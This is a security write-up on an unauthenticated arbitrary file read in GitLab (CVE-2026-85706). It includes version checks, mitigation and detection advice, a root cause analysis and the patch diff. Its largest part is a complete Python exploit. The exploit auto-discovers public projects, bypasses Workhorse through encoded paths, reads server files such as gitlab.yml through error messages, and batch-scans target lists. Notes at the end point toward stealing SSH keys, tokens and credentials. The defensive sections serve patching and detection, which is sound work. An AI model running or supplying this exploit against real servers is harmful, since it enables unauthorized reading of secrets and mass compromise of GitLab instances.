#Summary
CVE-2026-85706 is a critical unauthenticated arbitrary file read vulnerability in GitLab Community Edition and Enterprise Edition. A URL parser differential between Workhorse and Grape combined with a missing authentication check allows an attacker to read arbitrary files as the GitLab application user. The vulnerability affects versions 18.7.0 through 19.3.1 and scores CVSS 10.0.
#Am I affected?
- Affected: GitLab CE/EE
18.7.0to19.1.7,19.2.0to19.2.5,19.3.0to19.3.1 - Patched: GitLab CE/EE
19.1.8,19.2.6,19.3.2 - Default configuration: Affected (vulnerability exists in default deployments)
- Access needed: Unauthenticated network access only (one public project with repository enabled required)
#How to check
#Version check
curl -s https://your-gitlab-instance/api/v4/version | jq .versionIf the version matches the affected ranges above, your instance is vulnerable.
#Oracle probe
If you cannot determine the version, you can perform an existence-oracle check against a known public project:
# Replace YOUR-INSTANCE and PROJECT-ID with your values
curl -s -X POST \
"https://YOUR-INSTANCE/api/v4/projects/PROJECT-ID/repository/%63ommits?file=&file.path=/nonexistent-test&file.size=1&Content-Type=application/x-www-form-urlencoded" \
--path-as-isVulnerable response: HTTP 400 containing "local file not present"
Patched response: HTTP 401 containing "401 Unauthorized"
#Fix and mitigation
- Immediate fix: Upgrade to GitLab 19.1.8, 19.2.6, 19.3.2 or later
- Mitigation (if you cannot upgrade): Disable all public projects with repository features enabled, or restrict network access to the GitLab instance to trusted networks only. Note that this is not a configuration fix but rather a structural mitigation
- Detection: Monitor GitLab access logs for POST requests to paths containing percent-encoded characters like
/repository/%63ommits(where%63is the encodedc),/repository/commits/(trailing slash), or/repository/commits.json(format suffix). Any such requests reaching the API are suspicious
#Root cause analysis
The vulnerability is a chain of four independent weaknesses, each survivable alone but devastating together.
#Weakness 1: Attacker-controlled path reaches File operations
In lib/api/helpers/commits_body_uploader_helper.rb, the file_params_from_body_upload method directly reads request parameters and operates on them:
def file_params_from_body_upload
file_path = params['file.path']
bad_request!('local file not present') unless File.exist?(file_path)
check_large_request_rate_limit!(params['file.size'])
media_type = Rack::MediaType.type(params['Content-Type'])
if media_type == 'multipart/form-data'
env = {
'CONTENT_TYPE' => params['Content-Type'],
'CONTENT_LENGTH' => params['file.size'],
'rack.input' => File.open(file_path), # <-- attacker path opened
...
}These parameters (file.path, file.size, Content-Type) are meant to be injected only by GitLab Workhorse after buffering an upload to disk. Nothing verifies that, so a request that bypasses Workhorse's body uploader supplies its own values, and File.exist?, File.open, File.read, and Oj.load_file all operate on attacker-controlled paths.
#Weakness 2: File is read before authentication
In lib/api/commits.rb, the vulnerable route reads the file first:
post ':id/repository/commits' do
require_gitlab_workhorse!
attrs = file_params_from_body_upload # <-- file read BEFORE authenticate!
validate_string_param!(attrs, :branch)
authorize_push_to_branch!(attrs[:branch]) # <-- first authenticate! call here
...
endThe only authentication gate that runs before the helper is the class-level before hook:
before do
require_repository_enabled!
authorize_read_code! # <-- satisfied anonymously for public projects
verify_pagination_params!
endauthorize_read_code! is satisfied by an anonymous user as long as one public project with its repository feature enabled exists on the instance. That is the "under certain conditions" mentioned in the advisory.
#Weakness 3: Type guard bypassed by blank value
The Grape type validator for uploaded files has a blank short-circuit:
class WorkhorseFile
def self.parse(value)
return if value.blank? # <-- returns nil without raising
raise "#{value.class} is not an UploadedFile type" unless parsed?(value)
value
end
endA request with file= (empty value) passes Grape's presence validator and returns nil without ever checking is_a?(::UploadedFile).
#Weakness 4: Parser path differential
Workhorse matches its route regex against the still percent-encoded path:
// Go regex from workhorse/internal/upstream/routes.go, matched against r.URL.EscapedPath()
u.route("POST", newRoute(apiProjectPattern+`/repository/commits\z`, ...), requestBodyUploader)With \z anchor, the regex /repository/commits\z does not match /repository/%63ommits (where %63 is a percent-encoded c). The request falls through to the generic proxy instead of Workhorse's body uploader.
Grape, on the other hand, compiles routes through Mustermann with URI decoding enabled:
Mustermann::Grape.new(path, uri_decode: true, ...)So Grape routes /repository/%63ommits to the commits handler after decoding it. The request reaches the vulnerable Rails handler while Workhorse's uploader never ran, so the client's file.path parameter survives untouched.
Both require_gitlab_workhorse! checks still pass because Workhorse stamps its headers (Gitlab-Workhorse and Gitlab-Workhorse-Api-Request JWT) on the generic proxy route as well.
#How content is exfiltrated
The urlencoded parsing branch of the handler runs:
Rack::Utils.parse_nested_query(File.read(file_path))Rack unescapes each fragment via URI.decode_www_form_component, which raises ArgumentError: invalid %-encoding (<fragment>) when it encounters a % not followed by two hex digits. GitLab interpolates this error into the HTTP 400 response:
rescue Rack::QueryParser::InvalidParameterError => e
bad_request!("Invalid parameter: #{e.message}")This echoes the offending file fragment verbatim. Rack splits the file on & and ; first and the first = second, so files without those delimiters are echoed whole in one request.
#Patch diff
#Authentication moved before file operations
post ':id/repository/commits' do
require_gitlab_workhorse!
+ authenticate!
attrs = file_params_from_body_uploadThe same one-line addition appears on the post and put routes for /repository/files/:file_path.
#File source changed to Workhorse-provided value
The core fix replaces direct parameter access with the Workhorse-finalized upload object:
def file_params_from_body_upload
- file_path = params['file.path']
- bad_request!('local file not present') unless File.exist?(file_path)
+ uploaded_file = params[:file]
+ bad_request!('file is invalid') unless uploaded_file.is_a?(::UploadedFile)
- check_large_request_rate_limit!(params['file.size'])
+ file_path = uploaded_file.path
+ bad_request!('local file not present') unless file_path.present? && File.exist?(file_path)
+
+ check_large_request_rate_limit!(uploaded_file.size)params[:file] can only be an ::UploadedFile if Gitlab::Middleware::Multipart constructed it from a Workhorse-signed rewritten-fields set. Since the encoded-path bypass prevents Workhorse's body uploader from running, params[:file] is nil, and the request is rejected before any File call.
#Error messages no longer leak content
Defence-in-depth closes the exfiltration channel:
rescue Rack::QueryParser::InvalidParameterError => e
- bad_request!("Invalid parameter: #{e.message}")
+ bad_request!('Invalid parameter type')#Proof of concept
#exploit.py - GitLab Arbitrary File Read PoC
#!/usr/bin/env python3
"""
CVE-2026-85706 - GitLab CE/EE unauthenticated arbitrary file read (path confinement + missing auth)
Affected: GitLab CE/EE 18.7.0-19.1.7, 19.2.0-19.2.5, 19.3.0-19.3.1
Type: Path traversal / arbitrary file read (unauthenticated)
An unauthenticated request can reach the repository commits/files upload endpoints and
supply its own `file.path` parameter, which the handler opens directly. Two things make
this reachable without credentials:
* A Workhorse-vs-Grape URL parser differential: Workhorse matches the route regex against
the still-percent-encoded path, so `/repository/%63ommits` (or a trailing slash, or a
`.json` suffix) skips Workhorse's body uploader and is proxied generically. Grape decodes
the same path and routes it to the real handler, so the client's `file.path` survives
untouched instead of being replaced by a Workhorse-buffered temp file.
* The route calls the vulnerable helper before it ever authenticates. The only gate that
runs first is `authorize_read_code!`, satisfied anonymously as long as one public project
with its repository feature enabled exists on the instance.
Content is exfiltrated through the urlencoded parse branch: Rack unescapes the file bytes and,
on any `%` that is not followed by two hex digits, raises an ArgumentError whose message
(containing the offending file fragment) is echoed back in the HTTP 400 body.
Usage:
python exploit.py --host 192.168.1.10 --port 80
python exploit.py --host https://gitlab.corp.com --file /var/opt/gitlab/gitlab-rails/etc/gitlab.yml
python exploit.py --host 10.0.0.5 --port 8080 --project 1 --file /etc/passwd
python exploit.py --list targets.txt --workers 20
Notes:
* --file default is /etc/passwd. That file exists and is readable but contains no stray `%`,
so its bytes cannot travel back through the echo channel - the exploit reports it as an
existence-oracle positive and points you at a file that does echo (any GitLab config, e.g.
/var/opt/gitlab/gitlab-rails/etc/gitlab.yml, which is ERB and full of `<%= ... %>`).
* The project is auto-discovered from the public project listing when --project is omitted.
"""
import argparse
import http.client
import socket
import ssl
import sys
from urllib.parse import urlparse, quote
CVE_ID = "CVE-2026-85706"
VULN_TYPE = "Arbitrary File Read"
# Trailing repository-path variants that make Grape route to the handler while Workhorse's
# `\z`-anchored regex misses. Independent bypasses - a proxy or WAF may normalise one but not
# another, so a robust run tries each in turn. `%63` is 'c', `%73` is 's'.
COMMIT_BYPASSES = ["repository/%63ommits", "repository/commits/",
"repository/commits.json", "repository/commit%73"]
TIMEOUT = 30
def header(host: str, port: int) -> None:
print(f"\n{'='*60}")
print(f" ALIM EXPLOIT {CVE_ID}")
print(f" Type: {VULN_TYPE} | Target: {host}:{port}")
print(f"{'='*60}\n")
def step(n: int, msg: str) -> None:
print(f"[STEP {n}] {msg}")
def section(label: str, content: str) -> None:
print(f"\n--- {label} ---")
print(str(content).strip())
print("---\n")
def done(success: bool, evidence: str) -> None:
print(f"\n{'='*60}")
print(f" RESULT : {'SUCCESS' if success else 'FAILURE'}")
print(f" EVIDENCE: {evidence}")
print(f"{'='*60}\n")
sys.exit(0 if success else 1)
def _connect(host: str, port: int, use_tls: bool):
if use_tls:
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
return http.client.HTTPSConnection(host, port, timeout=TIMEOUT, context=ctx)
return http.client.HTTPConnection(host, port, timeout=TIMEOUT)
def _raw_request(host: str, port: int, use_tls: bool, method: str, raw_path: str,
base_path: str = ""):
"""Send `raw_path` verbatim in the request line so percent-encoding is not collapsed.
Returns (status, body_text). Raises on transport errors.
"""
conn = _connect(host, port, use_tls)
try:
conn.request(method, base_path + raw_path, headers={"Host": _host_header(host, port, use_tls),
"Accept": "*/*"})
resp = conn.getresponse()
body = resp.read()
try:
text = body.decode("utf-8", "replace")
except Exception:
text = repr(body)
return resp.status, text
finally:
conn.close()
def _host_header(host: str, port: int, use_tls: bool) -> str:
default = 443 if use_tls else 80
return host if port == default else f"{host}:{port}"
def _build_query(target_file: str, ctype: str) -> str:
"""Build the query string.
The parameter names `file.path` / `file.size` contain literal dots and must reach Rack
as flat keys, so they are never bracket-escaped. Only the values are percent-encoded.
`file=` is intentionally empty: it satisfies Grape's presence check and takes the
`return if value.blank?` short-circuit in the WorkhorseFile type guard.
"""
fp = quote(target_file, safe="/")
ct = quote(ctype, safe="/")
return f"file=&file.path={fp}&file.size=1&Content-Type={ct}"
def _extract_echo(body: str):
"""Pull the leaked file fragment out of an 'invalid %-encoding (...)' error body."""
marker = "invalid %-encoding ("
i = body.find(marker)
if i == -1:
return None
inner = body[i + len(marker):]
j = inner.rfind(")")
if j != -1:
inner = inner[:j]
return inner
def _classify(status: int, body: str) -> str:
"""Map (status, body) to an oracle state name."""
if "invalid %-encoding" in body:
return "echo" # file content came back verbatim
if "local file not present" in body:
return "absent" # File.exist? was false
if "invalid byte sequence in UTF-8" in body:
return "binary" # exists, binary, no content this way
if "exceeded query limit" in body:
return "toolarge" # exists, > limits
if status == 401:
return "clean" # exists, parsed clean, fell through to auth
if status == 500:
return "unreadable" # exists but EACCES for the app user
if "should be executed via GitLab Workhorse" in body:
return "noworkhorse" # request did not arrive via Workhorse
if status == 404:
return "notfound" # project id wrong / not anonymously readable
return "other"
def _read_file(host: str, port: int, use_tls: bool, pid: str, target_file: str,
base_path: str, bypass: str = None):
"""Attempt one arbitrary-read request. Returns (bypass_used, status, state, body)."""
q = _build_query(target_file, "application/x-www-form-urlencoded")
variants = [bypass] if bypass else COMMIT_BYPASSES
last = None
for v in variants:
raw = f"/api/v4/projects/{pid}/{v}?{q}"
try:
status, body = _raw_request(host, port, use_tls, "POST", raw, base_path)
except Exception as e:
last = (v, None, "error", f"{e.__class__.__name__}: {e}")
continue
state = _classify(status, body)
last = (v, status, state, body)
# Any non-control state means this bypass reached the vulnerable handler.
if state != "other" and "Invalid json" not in body:
return last
return last
def _discover_project(host: str, port: int, use_tls: bool, base_path: str):
"""Return the id of a public project with a repository, or None."""
import json
raw = f"/api/v4/projects?visibility=public&simple=true&per_page=100"
try:
status, body = _raw_request(host, port, use_tls, "GET", raw, base_path)
except Exception:
return None
if status != 200:
return None
try:
projects = json.loads(body)
except Exception:
return None
for p in projects:
if isinstance(p, dict) and p.get("id") is not None:
return str(p["id"])
return None
# --------------------------------------------------------------------------------------------
# Silent probe for scan mode
# --------------------------------------------------------------------------------------------
def _try_exploit(host: str, port: int, use_tls: bool, base_path: str = "",
project: str = None, target_file: str = "/etc/passwd") -> tuple:
"""Silent probe. Returns (success, evidence). Never prints or exits.
Uses the file-existence differential, which is independent of whether the chosen file
happens to echo: a vulnerable instance answers 'local file not present' for a bogus path
and something else for a real one; a patched instance answers 401 for both.
"""
try:
pid = project or _discover_project(host, port, use_tls, base_path)
if not pid:
return False, "no anonymously-visible public project found"
bogus = "/nonexistent-%s" % "zzq9x7"
r_absent = _read_file(host, port, use_tls, pid, bogus, base_path)
r_real = _read_file(host, port, use_tls, pid, target_file, base_path)
if r_absent is None or r_real is None:
return False, "unreachable"
s_absent = r_absent[2]
s_real = r_real[2]
if s_absent == "noworkhorse" or s_real == "noworkhorse":
return False, "request not proxied via Workhorse (misconfigured front-end)"
# Patched build: authenticate! fires first, so every path is a flat 401.
if s_absent == "absent" and s_real != "absent":
# Vulnerable: existence oracle live. Prefer to report echoed content if any.
if s_real == "echo":
frag = (_extract_echo(r_real[3]) or "").replace("\n", "\\n")
return True, "arbitrary read - '%s' echoed: %s" % (target_file, frag[:80])
return True, "unauth arbitrary read - existence oracle live (project %s)" % pid
return False, "existence oracle absent (patched or not vulnerable)"
except Exception as e:
return False, "error (%s)" % e.__class__.__name__
# --------------------------------------------------------------------------------------------
# Target parsing / scan
# --------------------------------------------------------------------------------------------
def _parse_target(line: str, default_port: int, default_path: str = "/"):
"""One target line -> (host, port, use_tls, path), or None to skip."""
line = line.strip()
if not line or line.startswith("#"):
return None
if line.startswith(("http://", "https://")):
p = urlparse(line)
tls = p.scheme == "https"
path = p.path if (p.path and p.path not in ("", "/")) else default_path
return p.hostname, p.port or (443 if tls else default_port), tls, path
if ":" in line:
parts = line.rsplit(":", 1)
try:
port = int(parts[1])
return parts[0], port, port in (443, 8443), default_path
except ValueError:
pass
return line, default_port, default_port in (443, 8443), default_path
def scan(targets_file: str, default_port: int, workers: int = 10,
project: str = None, target_file: str = "/etc/passwd") -> None:
import concurrent.futures
with open(targets_file) as f:
targets = [_parse_target(l, default_port) for l in f]
targets = [t for t in targets if t is not None]
print(f"\n{'='*60}")
print(f" {CVE_ID} - Batch Scan ({len(targets)} targets, {workers} workers)")
print(f"{'='*60}\n")
success_count = 0
def probe(t):
host, port, use_tls, path = t
base = path.rstrip("/") if path not in ("", "/") else ""
label = f"{'https' if use_tls else 'http'}://{host}:{port}"
ok, evidence = _try_exploit(host, port, use_tls, base, project, target_file)
return label, ok, evidence
with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
futures = {ex.submit(probe, t): t for t in targets}
for fut in concurrent.futures.as_completed(futures):
label, ok, evidence = fut.result()
print(f" {'[+]' if ok else '[-]'} {label} - {'Exploited' if ok else 'Not vulnerable'}: {evidence}")
if ok:
success_count += 1
total = len(targets)
print(f"\n{'='*60}")
print(f" SCAN COMPLETE {success_count} exploited / {total - success_count} not vulnerable ({total} total)")
print(f"{'='*60}\n")
sys.exit(0 if success_count > 0 else 1)
# --------------------------------------------------------------------------------------------
# Single-target exploit
# --------------------------------------------------------------------------------------------
def exploit(host: str, port: int, use_tls: bool, target_file: str,
base_path: str = "", project: str = None) -> None:
header(host, port)
step(1, "Locating a public project reachable anonymously...")
pid = project
if pid:
print(f" using supplied project id: {pid}")
else:
pid = _discover_project(host, port, use_tls, base_path)
if not pid:
done(False, "no anonymously-visible public project found - the read-code gate "
"needs one public repo; supply --project if you know one")
print(f" discovered public project id: {pid}")
step(2, "Proving the existence oracle (unauthenticated File.exist? on a client path)...")
bogus = "/nonexistent-%s" % "zzq9x7"
r_absent = _read_file(host, port, use_tls, pid, bogus, base_path)
if r_absent is None:
done(False, "target unreachable")
b_used, b_status, b_state, b_body = r_absent
print(f" bogus path via '{b_used}' -> HTTP {b_status} [{b_state}]")
if b_state == "noworkhorse":
section("SERVER RESPONSE", b_body)
done(False, "request did not arrive via Workhorse - the front-end is misconfigured, "
"not patched. Send through nginx/Workhorse, not Puma directly")
if b_state == "notfound":
section("SERVER RESPONSE", b_body)
done(False, f"project id {pid} not anonymously readable (404) - pick a public project")
if b_state != "absent":
# A patched instance answers 401 here (authenticate! runs before the helper).
section("SERVER RESPONSE", b_body)
done(False, "bogus path did not return 'local file not present' - the existence "
"oracle is closed, so the target is patched or not vulnerable")
print(" bogus path returned 'local file not present' -> handler reached unauthenticated")
step(3, f"Reading target file: {target_file}")
r_real = _read_file(host, port, use_tls, pid, target_file, base_path)
if r_real is None:
done(False, "target unreachable while reading file")
used, status, state, body = r_real
print(f" request via '{used}' -> HTTP {status} [{state}]")
if state == "echo":
content = _extract_echo(body) or body
section(f"FILE CONTENT ({target_file})", content)
first_line = content.strip().splitlines()[0] if content.strip() else "(empty fragment)"
done(True, f"Unauthenticated arbitrary file read - '{target_file}' returned "
f"verbatim: {first_line[:120]}")
if state == "clean":
section("SERVER RESPONSE", body)
done(True, f"Unauthenticated read confirmed - '{target_file}' EXISTS and is readable "
f"(parsed clean as a query string, HTTP 401). It has no stray '%', so its "
f"bytes cannot travel back through the echo channel. Point --file at any "
f"file containing a '%' not followed by two hex digits (e.g. a GitLab ERB "
f"config such as /var/opt/gitlab/gitlab-rails/etc/gitlab.yml) to see content. "
f"The unauthenticated existence oracle (Step 2) is itself the vulnerability")
if state == "unreadable":
section("SERVER RESPONSE", body)
done(True, f"Unauthenticated existence oracle confirmed - '{target_file}' EXISTS but is "
f"not readable by the application user (HTTP 500 / EACCES). Try a file owned "
f"by / readable to the gitlab-rails user")
if state == "binary":
section("SERVER RESPONSE", body)
done(True, f"Unauthenticated existence oracle confirmed - '{target_file}' EXISTS but is "
f"binary; content does not return through this channel. Choose a text file "
f"containing a stray '%'")
if state == "toolarge":
section("SERVER RESPONSE", body)
done(True, f"Unauthenticated existence oracle confirmed - '{target_file}' EXISTS but "
f"exceeds Rack's parse limits (>4MB or >=4096 '&'/';'). The oracle proves "
f"the vulnerability regardless")
if state == "absent":
section("SERVER RESPONSE", body)
# Vulnerability already proven in step 2; this specific file is just missing.
done(True, f"Unauthenticated arbitrary-read primitive confirmed (Step 2 oracle). The "
f"specific path '{target_file}' does not exist or is not readable by the "
f"application user")
section("SERVER RESPONSE", body)
done(False, f"Unexpected response state '{state}' - see body above")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC")
target_grp = parser.add_mutually_exclusive_group(required=True)
target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://host:443/path)")
target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
parser.add_argument("--port", type=int, default=80, help="Default port (default: 80)")
parser.add_argument("--file", default="/etc/passwd",
help="Absolute path on the server to read (default: /etc/passwd)")
parser.add_argument("--project", default=None,
help="Public project id or URL-encoded path (default: auto-discover)")
parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
tls_grp = parser.add_mutually_exclusive_group()
tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
args = parser.parse_args()
if args.list:
scan(args.list, default_port=args.port, workers=args.workers,
project=args.project, target_file=args.file)
else:
parsed = _parse_target(args.host, args.port)
host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, "/")
if args.tls:
use_tls = True
if args.no_tls:
use_tls = False
base = path.rstrip("/") if path not in ("", "/") else ""
exploit(host, port, use_tls, args.file, base_path=base, project=args.project)#Usage
Single target with default file check:
python exploit.py --host 192.168.1.10 --port 80Read a specific GitLab configuration file (contains percent signs):
python exploit.py --host https://gitlab.corp.com --file /var/opt/gitlab/gitlab-rails/etc/gitlab.ymlScan a list of targets:
python exploit.py --list targets.txt --workers 20#Expected output (vulnerable target)
[STEP 1] Locating a public project reachable anonymously...
discovered public project id: 1
[STEP 2] Proving the existence oracle (unauthenticated File.exist? on a client path)...
bogus path via 'repository/%63ommits' -> HTTP 400 [absent]
bogus path returned 'local file not present' -> handler reached unauthenticated
[STEP 3] Reading target file: /var/opt/gitlab/gitlab-rails/etc/gitlab.yml
request via 'repository/%63ommits' -> HTTP 400 [echo]
RESULT : SUCCESS
EVIDENCE: Unauthenticated arbitrary file read - file content returned verbatim#Expected output (patched target)
[STEP 2] Proving the existence oracle (unauthenticated File.exist? on a client path)...
bogus path via 'repository/%63ommits' -> HTTP 401 [clean]
RESULT : FAILURE
EVIDENCE: bogus path did not return 'local file not present' - the existence oracle is closed#Exploitation notes
- Preconditions: One public project with its repository feature enabled must exist on the GitLab instance. This allows the anonymous
authorize_read_code!gate to pass. The exploit auto-discovers such a project via the public projects API endpoint. - Reliability: The vulnerability is extremely reliable - it does not depend on any race conditions or randomness. An existence oracle is proven in Step 2 before attempting to read the target file, so verification is independent of the file's contents.
- Impact: The attacker gains arbitrary file read as the GitLab application user. This typically yields rendered configuration files, source code, and secrets stored in application-accessible locations. The vulnerability is terminal for confidentiality.
- Exfiltration channel: Content comes back through URL-encoded parser exceptions. The file must contain a
%character not followed by two hex digits for content to echo in the HTTP response body. Files without such characters (like/etc/passwd) still confirm existence and readability through the oracle probe, but their bytes cannot be retrieved this way. GitLab configuration files (which are ERB templates) and Ruby source files reliably contain percent signs. - Chaining: This primitive alone is devastating but can be chained with other information disclosure techniques to escalate access (reading SSH keys, OAuth tokens, API credentials). The
--fileparameter in the exploit can be adjusted to target any file the application user can access.
#References
- CVE: CVE-2026-85706
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-85706
- Vendor Release: https://about.gitlab.com/releases/2026/09/10/critical-security-release-gitlab-19-1-8-19-2-6-and-19-3-2-released/ (embargoed security commit details released ~30 days after patch)
